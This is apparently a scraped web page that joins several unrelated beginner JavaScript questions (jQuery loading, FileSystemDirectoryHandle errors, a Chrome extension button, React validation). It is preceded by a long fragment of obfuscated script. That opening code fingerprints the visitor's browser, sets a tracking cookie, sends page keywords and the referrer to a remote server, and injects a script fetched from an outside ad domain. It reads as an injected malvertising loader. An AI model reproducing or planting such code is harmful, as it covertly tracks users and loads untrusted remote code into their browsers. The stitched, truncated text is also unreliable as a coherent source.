0x0<=_0x327939[_0x2697('0x45')]('win')&&_0x2697('0x4a')!==_0xc49cb3&&'Windowsx20Phone'!==_0xc49cb3||(!(!/linux|android|pike/[_0x2697('0xb')](_0x327939)||-0x1!==[_0x2697('0x4c'),_0x2697('0x4e'),_0x2697('0x50')]['indexOf'](_0xc49cb3))||(!(!/mac|ipad|ipod|iphone/[_0x2697('0xb')](_0x327939)||'Mac'===_0xc49cb3||_0x2697('0x52')===_0xc49cb3)||(/win|linux|mac|iphone|ipad/['test'](_0x327939)===(_0x2697('0x54')===_0xc49cb3)||void 0x0===_0x26627e[_0x2697('0x59')]&&_0x2697('0x4a')!==_0xc49cb3&&'Windowsx20Phone'!==_0xc49cb3)));}),_0xcd017a[_0x2697('0x23')](_0x2697('0x5a'),{'e':0x1},{},function(){var _0x22d3be=_0x26627e[_0x2697('0x9')]['toLowerCase'](),_0x4b9b62=_0x26627e[_0x2697('0x5b')],_0x36e97a;_0x36e97a=0x0<=_0x22d3be['indexOf'](_0x2697('0x5c'))?'Firefox':0x0<=_0x22d3be[_0x2697('0x45')](_0x2697('0x5d'))?_0x2697('0x5e'):0x0<=_0x22d3be[_0x2697('0x45')](_0x2697('0x5f'))&&0x0<=_0x22d3be[_0x2697('0x45')](_0x2697('0x60'))?_0x2697('0x61'):0x0<=_0x22d3be['indexOf'](_0x2697('0x5f'))||0x0<=_0x22d3be[_0x2697('0x45')](_0x2697('0x62'))?_0x2697('0x63'):0x0<=_0x22d3be[_0x2697('0x45')](_0x2697('0x64'))?_0x2697('0x65'):0x0<=_0x22d3be[_0x2697('0x45')](_0x2697('0x66'))?_0x2697('0x67'):0x0<=_0x22d3be[_0x2697('0x45')](_0x2697('0x68'))?'Internetx20Explorer':'Other';var _0x45bfdf,_0x20948d=!!!document[_0x2697('0xf')]&&!!window[_0x2697('0x69')];if(-0x1!==['Chrome',_0x2697('0x67'),'Opera','Operax20Presto'][_0x2697('0x45')](_0x36e97a)&&'20030107'!==_0x4b9b62)return!0x0;if(_0x2697('0x63')===_0x36e97a&&!window['opr'])return!0x0;if(_0x2697('0x65')===_0x36e97a&&(window[_0x2697('0x64')]&&window[_0x2697('0x64')][_0x2697('0x6a')]||_0x20948d))return!0x0;if(_0x2697('0x6b')===_0x36e97a&&_0x2697('0x3b')==typeof InstallTrigger)return!0x0;if(_0x2697('0x5e')===_0x36e97a&&!_0x20948d)return!0x0;var _0x27c676=eval['toString']()[_0x2697('0x6c')],_0x5eb977;if(0x25===_0x27c676&&-0x1===['Firefox',_0x2697('0x54'),_0x2697('0x67')][_0x2697('0x45')](_0x36e97a))return!0x0;if(0x27===_0x27c676&&-0x1===[_0x2697('0x6d'),_0x2697('0x54')][_0x2697('0x45')](_0x36e97a))return!0x0;if(0x21===_0x27c676&&-0x1===[_0x2697('0x65'),_0x2697('0x5e'),'Opera',_0x2697('0x54')][_0x2697('0x45')](_0x36e97a))return!0x0;try{throw'a';}catch(_0x863b59){try{_0x863b59['toSource'](),_0x5eb977=!0x0;}catch(_0x1cd40a){_0x5eb977=!0x1;}}return _0x5eb977&&_0x2697('0x6b')!==_0x36e97a&&'Other'!==_0x36e97a;}),_0xcd017a['addTest']('hasLiedLanguage',{'e':0x0},{},function(){if(_0x26627e[_0x2697('0x6e')])try{var _0x1b99e7;return _0x26627e[_0x2697('0x6e')][0x0][_0x2697('0xc')](0x0,0x2)!==_0x26627e[_0x2697('0x6f')][_0x2697('0xc')](0x0,0x2);}catch(_0x20a56b){return!0x0;}return!0x1;}),_0x4ec778[_0x2697('0x70')]=_0xcd017a;}(window,navigator,document),function(){function _0x17ebd7(_0x10fbb2){function _0x598dc0(_0x278e04,_0x2f31b8){var _0x183157=document[_0x2697('0x13')]('script'),_0x2ab1ee=!0x1,_0x4f97d2=function(){if(!_0x2ab1ee){_0x2ab1ee=!0x0;var _0x15b902=document[_0x2697('0x71')](_0x278e04);_0x15b902&&_0x15b902[_0x2697('0x19')](_0x183157);}};if(_0x183157[_0x2697('0x72')]=!0x0,_0x183157[_0x2697('0x73')]=!0x0,_0x183157[_0x2697('0x74')]=_0x2f31b8,_0x2697('0x75')===document[_0x2697('0x76')])_0x4f97d2();else if(document[_0x2697('0x77')])document[_0x2697('0x77')]('DOMContentLoaded',_0x4f97d2,!0x1),window[_0x2697('0x77')](_0x2697('0x78'),_0x4f97d2,!0x1);else if(document['attachEvent'])document[_0x2697('0x79')](_0x2697('0x7a'),_0x4f97d2),window[_0x2697('0x79')](_0x2697('0x7a'),_0x4f97d2);else{var _0x2fce8b=window[_0x2697('0x7a')];window[_0x2697('0x7a')]=function(){_0x1be2fc(_0x2fce8b,Function)&&_0x2fce8b(),_0x4f97d2();};}}function _0x1be2fc(_0x2cbe19,_0x760490){return _0x2cbe19 instanceof _0x760490&&_0x2cbe19[_0x2697('0x7b')]===_0x760490;}function _0x224602(_0xb3bae0,_0x37975f){for(var _0x1bc113 in _0x37975f)if(_0x37975f[_0x2697('0x7')](_0x1bc113))try{_0xb3bae0[_0x2697('0x7c')](_0x1bc113,_0x37975f[_0x1bc113]);}catch(_0x1e6d09){_0xb3bae0[_0x1bc113]=_0x37975f[_0x1bc113];}}function _0x4f29b0(_0x56b7b7){var _0x24f447=document[_0x2697('0x7d')],_0x4bce00='dom3ic8zudi28v8lr6fgphwffqoz0j6c',_0xf3aa51=_0x24f447['indexOf'](_0x4bce00+'='),_0x5db7aa=_0x24f447[_0x2697('0x7e')](_0xf3aa51-0x1);if(0x0===_0xf3aa51||0x0<_0xf3aa51&&(';'===_0x5db7aa||'x20'===_0x5db7aa)){var _0x5690ac=_0x24f447['indexOf'](';',_0xf3aa51);_0x56b7b7(_0x24f447[_0x2697('0x7f')](_0xf3aa51+0x21,-0x1===_0x5690ac?void 0x0:_0x5690ac));}else try{var _0x41805d=new XMLHttpRequest(),_0x5f6ae5=setTimeout(function(){_0x41805d[_0x2697('0x80')]();},0x3e8);_0x2697('0x81')in _0x41805d&&(_0x41805d[_0x2697('0x81')]=!0x0),_0x41805d[_0x2697('0x82')]('GET',_0x2697('0x83')),_0x41805d[_0x2697('0x7a')]=function(){clearTimeout(_0x5f6ae5);var _0x475c7b=encodeURIComponent(_0x41805d[_0x2697('0x84')][_0x2697('0x85')]()),_0x254b52=new Date();_0x254b52[_0x2697('0x86')](_0x254b52[_0x2697('0x87')]()+0x7*0x15180*0x3e8);var _0x433f2a=[_0x4bce00+'='+_0x475c7b,_0x2697('0x88')+_0x254b52[_0x2697('0x89')](),'path=/',_0x2697('0x8a')];document['cookie']=_0x433f2a[_0x2697('0x8b')](';'),_0x56b7b7(_0x475c7b);},_0x41805d['onerror']=_0x41805d[_0x2697('0x8c')]=function(){_0x56b7b7('');},_0x41805d['send']();}catch(_0x3f5e98){_0x56b7b7('');}}function _0x44d2b9(_0x33899f){for(var _0xa6875d=document[_0x2697('0x8d')](_0x2697('0x8e')+_0x33899f+_0x2697('0x8f')),_0x56ecc0=document[_0x2697('0x8d')]('script[srcx20$=x20x22invoke.jsx22]'),_0x206bf0,_0x5c04dc=0x0,_0x2b0306=(_0x206bf0=_0xa6875d[_0x2697('0x6c')]?_0xa6875d:_0x56ecc0)['length'];_0x5c04dc<_0x2b0306;_0x5c04dc++){var _0x10bfbc=_0x206bf0[_0x5c04dc][_0x2697('0x90')],_0x443b80=_0x2697('0x91'),_0x2d40dd=_0x443b80+(_0xa6875d[_0x2697('0x6c')]?_0x33899f:'')+'_'+_0x5c04dc;if(_0x10bfbc[_0x2697('0x45')](_0x2d40dd)<0x0&&_0x10bfbc[_0x2697('0x45')](_0x443b80)<0x0)return _0x206bf0[_0x5c04dc][_0x2697('0x90')]+=_0x2d40dd,_0x206bf0[_0x5c04dc];}}function _0xcea035(_0x4abe12){if(null!==_0x4abe12[_0x2697('0x92')]&&('js'===_0x4abe12[_0x2697('0x93')]||'iframe'===_0x4abe12['format']&&!isNaN(_0x4abe12[_0x2697('0x41')]=Math['floor'](_0x4abe12[_0x2697('0x41')]))&&isFinite(_0x4abe12[_0x2697('0x41')])&&!isNaN(_0x4abe12[_0x2697('0x3f')]=Math[_0x2697('0x94')](_0x4abe12['width']))&&isFinite(_0x4abe12[_0x2697('0x3f')]))){var _0x212476=new Date(),_0x5dd201=function(){var _0x323170=[];if(_0x1be2fc(_0x4abe12['params'],Object))for(var _0x3cf44a in _0x4abe12[_0x2697('0x95')])_0x4abe12[_0x2697('0x95')][_0x2697('0x7')](_0x3cf44a)&&_0x323170['push']('x22'+_0x3cf44a+_0x2697('0x96')+_0x4abe12[_0x2697('0x95')][_0x3cf44a]+'x22');return _0x323170;}(),_0x5758ea=function(){var _0x5351c5='';try{if(parent!==window){_0x5351c5=document[_0x2697('0x97')];var _0x308e0e=window[_0x2697('0x98')][_0x2697('0x99')];if(_0x308e0e){var _0x41be08=_0x308e0e[_0x308e0e[_0x2697('0x6c')]-0x1];_0x41be08&&_0x5351c5[_0x2697('0x7f')](0x0,_0x41be08[_0x2697('0x6c')])!==_0x41be08&&(_0x5351c5=_0x41be08);}}else _0x5351c5=top['location'][_0x2697('0x9a')];}catch(_0x163705){}return _0x5351c5;}(),_0x182973=Math['ceil'](_0x212476[_0x2697('0x87')]()*Math[_0x2697('0x9b')]()),_0x128cd0=_0x212476[_0x2697('0x9c')]()/-0x3c,_0x5135f4=_0x2697('0x9d')+_0x182973+_0x2697('0x9e')+_0x4abe12[_0x2697('0x92')]+'&kw='+encodeURIComponent(JSON[_0x2697('0x9f')](_0x10fbb2))+'&refer='+encodeURIComponent(_0x5758ea)+(_0x5dd201['length']?_0x2697('0xa0')+encodeURIComponent('{'+_0x5dd201[_0x2697('0x8b')](',')+'}'):'')+_0x2697('0xa1')+_0x128cd0+_0x2697('0xa2')+(window['LieDetector'][_0x2697('0xa3')]()[_0x2697('0xa4')]()?'e':'r')+'&res='+window[_0x2697('0x70')]['getResults'](),_0x603443=_0x2697('0x9d')+_0x182973+_0x2697('0xa5')+_0x4abe12['key']+_0x2697('0xa6')+encodeURIComponent(JSON[_0x2697('0x9f')](_0x10fbb2))+_0x2697('0xa7')+encodeURIComponent(_0x5758ea)+(_0x5dd201[_0x2697('0x6c')]?_0x2697('0xa0')+encodeURIComponent('{'+_0x5dd201[_0x2697('0x8b')](',')+'}'):'')+_0x2697('0xa1')+_0x128cd0+_0x2697('0xa2')+(window[_0x2697('0x70')][_0x2697('0xa3')]()[_0x2697('0xa4')]()?'e':'r')+_0x2697('0xa8')+window[_0x2697('0x70')][_0x2697('0xa9')](),_0x5e6f36=new('onload'in new XMLHttpRequest()?XMLHttpRequest:XDomainRequest)(),_0x5f6168=_0x44d2b9(_0x4abe12['key']),_0x35a157=_0x5f6168[_0x2697('0x1f')]['nodeName'],_0x41ab22=document['createElement'](_0x2697('0xaa')),_0x20a7b1={'allowtransparency':_0x2697('0xab'),'scrolling':'no','frameborder':0x0,'framespacing':0x0},_0x4f3b4a=document['createElement'](_0x2697('0x14')),_0x395b3f=/frame_width=([0-9]{1,});/,_0x4ea120=/frame_height=([0-9]{1,});/,_0x380bb1=/<script>([sS]+(?:openerUrl)[sS]*?)</script>/g,_0x3ec4f8=function(_0xf4966d,_0x5ac688){if(null!==window[_0x2697('0xac')]&&_0x2697('0xad')===_0x35a157){var _0x4d2466=document[_0x2697('0xae')](_0x2697('0x22'))[0x0];void 0x0!==_0x4d2466?_0x4d2466[_0x2697('0xaf')][_0x2697('0x6c')]||(_0x5ac688&&_0x4d2466[_0x2697('0x19')](_0x5ac688),_0x4d2466[_0x2697('0x19')](_0xf4966d)):document[_0x2697('0x77')]('DOMContentLoaded',function(){(_0x4d2466=document['getElementsByTagName'](_0x2697('0x22'))[0x0])['childNodes']['length']||(_0x5ac688&&_0x4d2466['appendChild'](_0x5ac688),_0x4d2466['appendChild'](_0xf4966d));});}else _0x5ac688&&_0x5f6168[_0x2697('0x1f')]['insertBefore'](_0x5ac688,_0x5f6168),_0x5f6168[_0x2697('0x1f')][_0x2697('0xb0')](_0xf4966d,_0x5f6168);},_0x4f8008=function(){if(void 0x0!==_0x4abe12[_0x2697('0x41')]&&void 0x0!==_0x4abe12[_0x2697('0x3f')])_0x20a7b1[_0x2697('0x3f')]=_0x4abe12[_0x2697('0x3f')],_0x20a7b1[_0x2697('0x41')]=_0x4abe12[_0x2697('0x41')],_0x4f29b0(function(_0x44d176){_0x41ab22[_0x2697('0x74')]=_0x603443+'&uuid='+_0x44d176;}),_0x224602(_0x41ab22,_0x20a7b1),_0x4abe12[_0x2697('0x72')]?document[_0x2697('0x71')](_0x4abe12[_0x2697('0xb1')])[_0x2697('0x19')](_0x41ab22):_0x3ec4f8(_0x41ab22);else{var _0x17738c=_0x2697('0xb2')==typeof _0x4abe12[_0x2697('0xb1')]?_0x4abe12[_0x2697('0xb1')]:_0x2697('0xb3')+_0x4abe12['key'];window['atAsyncContainers'][_0x4abe12[_0x2697('0x92')]]=_0x17738c,_0x4abe12[_0x2697('0x72')]||(_0x4f3b4a['id']=_0x17738c,_0x3ec4f8(_0x4f3b4a)),_0x4f29b0(function(_0x168ed4){_0x598dc0(_0x17738c,_0x5135f4+_0x2697('0xb4')+_0x168ed4);});}};try{_0x4f29b0(function(_0x1862f0){_0x2697('0x81')in _0x5e6f36&&(_0x5e6f36[_0x2697('0x81')]=!0x0),_0x5e6f36[_0x2697('0x7a')]=function(){if(_0x5e6f36[_0x2697('0x76')]===XMLHttpRequest['DONE']&&0xc8===_0x5e6f36[_0x2697('0xb5')]){var _0x2ddf6c=_0x5e6f36[_0x2697('0x84')],_0x454699=_0x2697('0xb6'),_0x36c7a7=_0x2697('0xb7'),_0x25389b=_0x2ddf6c[_0x2697('0xb8')](_0x395b3f),_0x54bfb7=_0x2ddf6c[_0x2697('0xb8')](_0x4ea120),_0x5cfa90=_0x2ddf6c[_0x2697('0xb8')](_0x380bb1);if(null!==_0x25389b&&null!==_0x54bfb7?(_0x20a7b1[_0x2697('0x3f')]=_0x25389b[_0x25389b['length']-0x1],_0x20a7b1[_0x2697('0x41')]=_0x54bfb7[_0x54bfb7[_0x2697('0x6c')]-0x1],_0x2ddf6c=_0x2ddf6c[_0x2697('0xb9')](_0x395b3f,'')[_0x2697('0xb9')](_0x4ea120,'')):_0x2697('0xaa')===_0x4abe12[_0x2697('0x93')]&&(_0x20a7b1[_0x2697('0x3f')]=_0x4abe12['width'],_0x20a7b1['height']=_0x4abe12['height']),'js'===_0x4abe12[_0x2697('0x93')]||0x0<=_0x2ddf6c[_0x2697('0x45')](_0x454699)||0x0<=_0x2ddf6c['indexOf'](_0x36c7a7)){_0x2ddf6c=_0x2ddf6c[_0x2697('0xb9')](_0x454699,'');var _0x1167a5='string'==typeof _0x4abe12[_0x2697('0xb1')]?_0x4abe12[_0x2697('0xb1')]:_0x2697('0xb3')+_0x4abe12[_0x2697('0x92')];window[_0x2697('0xba')][_0x4abe12[_0x2697('0x92')]]=_0x1167a5,_0x4abe12[_0x2697('0x72')]||(_0x4f3b4a['id']=_0x1167a5,_0x3ec4f8(_0x4f3b4a));var _0x526c4f=document[_0x2697('0x13')](_0x2697('0xbb'));_0x526c4f[_0x2697('0xbc')]+=_0x2ddf6c,document[_0x2697('0x71')](_0x1167a5)['appendChild'](_0x526c4f);}else{var _0x3e1cb9=document[_0x2697('0x71')](_0x4abe12[_0x2697('0xb1')]),_0x54d678=document['createElement'](_0x2697('0xbb')),_0xb5648=document[_0x2697('0x13')](_0x2697('0xbb')),_0x15b3be;if(_0x20a7b1[_0x2697('0x74')]=_0x2697('0xbd'),_0x224602(_0x41ab22,_0x20a7b1),_0x5cfa90){_0x15b3be=document[_0x2697('0x13')]('script');var _0x180ce9=_0x5cfa90[0x0][_0x2697('0xb9')](/</?script>/g,'')['trim']();_0x2ddf6c=_0x2ddf6c['replace'](_0x380bb1,''),_0x15b3be['innerHTML']=_0x180ce9;}_0xb5648['innerHTML']+=_0x2ddf6c,_0x4f3b4a['id']=_0x2697('0xb3')+_0x4abe12[_0x2697('0x92')],_0x54d678['innerHTML']+=_0x2697('0xbe')+_0x4abe12[_0x2697('0x92')]+_0x2697('0xbf')+_0x2697('0xb3')+_0x4abe12['key']+'x22;',_0x4abe12[_0x2697('0x72')]?(_0x5cfa90&&_0x3e1cb9[_0x2697('0x19')](_0x15b3be),_0x3e1cb9[_0x2697('0x19')](_0x41ab22)):_0x3ec4f8(_0x41ab22,_0x15b3be);var _0x767be4=setInterval(function(){var _0x1c7738=_0x41ab22[_0x2697('0xc0')]||_0x41ab22[_0x2697('0xc1')][_0x2697('0xc2')];_0x2697('0x75')===_0x1c7738[_0x2697('0x76')]&&(clearInterval(_0x767be4),_0x1c7738[_0x2697('0x22')][_0x2697('0x15')][_0x2697('0xc3')]=0x0,_0x1c7738[_0x2697('0x22')]['appendChild'](_0x54d678),_0x1c7738[_0x2697('0x22')][_0x2697('0x19')](_0x4f3b4a),_0x1c7738[_0x2697('0x22')][_0x2697('0x19')](_0xb5648));},0xa);}}},_0x5e6f36[_0x2697('0xc4')]=_0x5e6f36[_0x2697('0x8c')]=function(){_0x4f8008();},_0x5e6f36[_0x2697('0x82')](_0x2697('0xc5'),_0x5135f4+_0x2697('0xb4')+_0x1862f0),_0x5e6f36[_0x2697('0xc6')]();});}catch(_0x592f0b){_0x4f8008();}}else window['console']&&_0x1be2fc(window[_0x2697('0x39')][_0x2697('0xc7')],Function)&&window[_0x2697('0x39')]['error'](_0x2697('0xc8'));}if(_0x1be2fc(window[_0x2697('0xba')],Object)||(window[_0x2697('0xba')]={}),_0x1be2fc(window[_0x2697('0xc9')],Object))_0xcea035(window[_0x2697('0xc9')]),delete window[_0x2697('0xc9')];else if(_0x1be2fc(window['atAsyncOptions'],Array))for(var _0x294a8f=0x0,_0x35a47f=window[_0x2697('0xca')][_0x2697('0x6c')];_0x294a8f<_0x35a47f;_0x294a8f++)_0x1be2fc(window[_0x2697('0xca')][_0x294a8f],Object)&&_0xcea035(window[_0x2697('0xca')][_0x2697('0xcb')](_0x294a8f,0x1)[0x0]);}var _0x16b629,_0x473d58,_0x1d4b2b,_0x2f9b9f;function _0x1b648c(_0x49a44d){if(_0x49a44d){var _0x10b376=document[_0x2697('0x13')]('script');_0x10b376[_0x2697('0x72')]=!0x0,_0x10b376[_0x2697('0x74')]='//outlineappearbar.com/'+_0x49a44d['substr'](0x0,0x2)+'/'+_0x49a44d[_0x2697('0xc')](0x2,0x2)+'/'+_0x49a44d[_0x2697('0xc')](0x4,0x2)+'/'+_0x49a44d+_0x2697('0xcc'),document['head'][_0x2697('0x19')](_0x10b376);}}(_0x16b629=_0x17ebd7)((null!==(_0x1d4b2b=function(){try{return window[_0x2697('0xcd')][_0x2697('0xc2')][_0x2697('0xae')](_0x2697('0xce'))[0x0];}catch(_0x293923){return document[_0x2697('0xae')](_0x2697('0xce'))[0x0];}}())&&null!==(_0x2f9b9f=_0x1d4b2b[_0x2697('0xae')](_0x2697('0xcf'))[0x0])&&void 0x0!==_0x2f9b9f?_0x2697('0xd0')in _0x2f9b9f?_0x2f9b9f[_0x2697('0xd0')]:_0x2697('0xd1')in _0x2f9b9f?_0x2f9b9f['innerText']:'':'')[_0x2697('0x42')]()[_0x2697('0xb9')](/[^a-z0-9u00A0-uD7FFuF900-uFDCFuFDF0-uFFEF+-]+/g,'x20')[_0x2697('0xd2')]('x20')[_0x2697('0xd3')](function(_0x378e02){return!!_0x378e02;}));var _0x55311c,_0x574c37=_0x2697('0xd4'),_0x304a09=_0x2697('0xd5');_0x2697('0xd6')==_0x2697('0xab')?_0x1b648c(_0x2697('0xd7')):_0x2697('0xd8')==_0x2697('0xab')?_0x1b648c(_0x574c37):_0x2697('0xd9')=='true'&&_0x1b648c(_0x304a09);}();

In an array of multiple objects, what is the fastest algorithm to finding and inserting an item using javascript

<div>
    <img id="dog-image">
</div>

<script src="jquery-3.6.0.js"></script>
<script src="1. AJAX Request.js"></script>

It is showing this error why?
Uncaught ReferenceError: $ is not defined
at 1. AJAX Request.js:18:1

I’m trying to create a web app that can modify a directory in order to install mods for a game for the user. It uses FileSystemDirectoryHandle. However, for some reason, using .getDirectoryHandle("dirname", { create: true }) throws an exception of

DOMException: An operation that depends on state cached in an interface object was made but the state had changed since it was read from disk.

if I drag the directory into it. If I pick the directory using window.showDirectoryPicker(), it doesn’t happen.

It also only happens for directories in .local and subfolders. As for anything about that directory in particular, it has drwx------ from ls -la. Using the utility lsd fails in anything inside of the .local directory, but /usr/bin/ls works fine, and Nautilus works fine in there too. If it matters, I’m on Ubuntu and using Chromium.

Here’s a demo page (needs to be hosted on localhost):

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Testing DragN'Drop</title>
    <style>
      body {
        background: #0a2d2e;
        color: #fff;
        font-family: system-ui, sans-serif;
      }
    </style>
  </head>
  <body>
    <p>Drag anywhere!</p>
    <button>Browse.</button>
    <script>
      addEventListener("dragover", (e) => e.preventDefault(), false);
      addEventListener("drop", (e) => {
        e.preventDefault();
        e.dataTransfer.items[0].getAsFileSystemHandle().then(handleHandle);
      });
      document.querySelector("button").onclick = async () => {
        const handle = await window.showDirectoryPicker();
        handleHandle(handle);
      };
      const handleHandle = (handle) => {
        console.log(handle);
        handle
          .getDirectoryHandle("never", { create: true })
          .then(console.log)
          .catch(console.error);
      };
    </script>
  </body>
</html>

(I understand that this question could fit more on other Stack Exchange sites, but I’m asking here first because I don’t know of any yet are that good of a fit.)

Im currently working on an extension where I currently have a submit button and input. When a user is clicking on the submit button, the user should not be able to click on the submit button anymore and should be disabled and if the user has already entered a user ID then it should also not be able to click on submit again.

How can I be able to disable the submit button when a user has clicked it?

popup.js

function get_discord_id(callback) {
    chrome.storage.sync.get(["discord_id"], (result) => {
        callback(result.discord_id);
    });
}

function set_discord_id(discord_id) {
    chrome.storage.sync.set({ discord_id: discord_id }, () => {});
}

window.addEventListener("DOMContentLoaded", () => {
    // check if discord ID is already stored
    get_discord_id((discord_id) => {
        if (discord_id != null) {
            let input = document.getElementById("discord-id-input");
            input.value = "";
            input.placeholder = discord_id;
        }
    });

    document.getElementById("discord-id-button").addEventListener("click", () => {
        let input = document.getElementById("discord-id-input");
        let value = input.value;
        input.value = "";
        input.placeholder = value;

        chrome.runtime.sendMessage({ discord_id: value }, function(response) {
        });

        set_discord_id(value);
    });
});

HTML

<!DOCTYPE html>

<head>
    <link rel="stylesheet" href="../css/style.css">
    <script src="../js/popup.js"></script>
</head>

<body>
    <div class="text-center">
        <div class="form-control mt10">
            <input type="text" id="discord-id-input" name="discord-id-input" placeholder="Discord ID">
            <button id="discord-id-button" type="submit" class="submit" onclick="this.disabled=true;"></button>
            <a class="help-text">ENTER DISCORD USER ID AND SUBMIT</a>
        </div>
    </div>
</body>

CSS

#discord-id-button {
    box-shadow: 0 0 10px 0 #251431;
    border-radius: 8px;
    transition: 0.3s;
}

#discord-id-button:hover {
    box-shadow: 0 0 10px 6px #251431;
}

#discord-id-input {
    box-shadow: 0 2px 1px 0 #251431;
    border-radius: 8px;
}

body {
    background-image: url('../images/bg2.jpg');
    background-position: center center;
    background-repeat: no-repeat;
    background-size: cover;
    height: 250px;
    padding: 5px 15px 30px 15px;
    width: 500px;
}

.text-center {
    text-align: center;
}

*:focus {
    outline: none;
}

.form-control {
    align-items: center;
    display: flex;
    justify-content: center;
}

label {
    display: block;
}

select,
input {
    background: #582e79;
    border-radius: 8px;
    border: 1px #582e79;
    color: #999;
    margin-left: 60px;
    margin-top: 135px;
    padding: 5px 10px;
    text-align: center;
    width: 150px;
}

.mt10 {
    margin-top: 20px;
}

.submit {
    background-color: transparent;
    background-image: url("../images/arrow.png");
    background-position: center center;
    background-repeat: no-repeat;
    border: none;
    height: 15px;
    width: 50px;
    margin-left: 15px;
    margin-top: 135px;
    outline: none;
    padding-bottom: 25px;
}

.help-text {
    position: fixed;
    color: #FFFF;
    font-size: 9px;
    color: #999;
    margin-top: 190px;
}

I’m new to React. I’m trying to do simple validation of a form elements. I’m stuck at validating input data and setting the ‘name_error’ state as the error msg inside <p> tag. Leaving my code below

// App.js

import React, { Component } from 'react';
import ValidateName from './component/validation';
import Modal from './modal';

class Home extends Component {
  state = {
    show: false,
    name: "",
    name_error: ""
  }

  handleChanges = (e) => {
    const name = e.target.name;
    const value = e.target.value;
    this.setState({[name] : value})
  }

  render() {
    console.log(this)
    return (
      <div>
        <div className='Main'>
          {/* < Main /> */}
          <button id='add' onClick={()=>{this.setState({show: true})}}>Add</button>
        </div>
        {this.state.show && 
          <Modal>
            <form>
              <div className='modalContainer'>
                <b className='title'>Register</b>
                <button id='xmark' onClick={()=>{this.setState({show: false})}} >&times;</button>
                <label for='name' >Name</label><br />
                <input type="text" id='name' placeholder='Enter your name here' name="name" onChange={this.handleChanges}/><br />
                < ValidateName content={this.state.name} />
                <button type='submit'>Sign Up</button>
                <button>Cancel</button>
              </div>
            </form>
          </Modal>}
      </div>
    );
  }
}
export default Home;

// Modal.js
import React, { Component } from 'react';

class Modal extends Component {
    render() { 
        return (
            <div>
                {this.props.children}
            </div>
        );
    }
}
 
export default Modal;

//validation.js
class ValidateName extends Component {
    err1 ='Please enter any name';
    err2 = 'Use only letters in this field';
    render() { 
        const ren = this.props.content.length === 0 ? (<p>{this.err1}</p> ) : 
                (this.props.content.match(/[a-zA-Z]+$/) ? '' : <p>{this.err2}</p>)
        return ren;
    }
}

Please suggest an idea to set name_error as ‘Please enter any name‘ or ‘Use only letters in this field‘ when user enters wrong input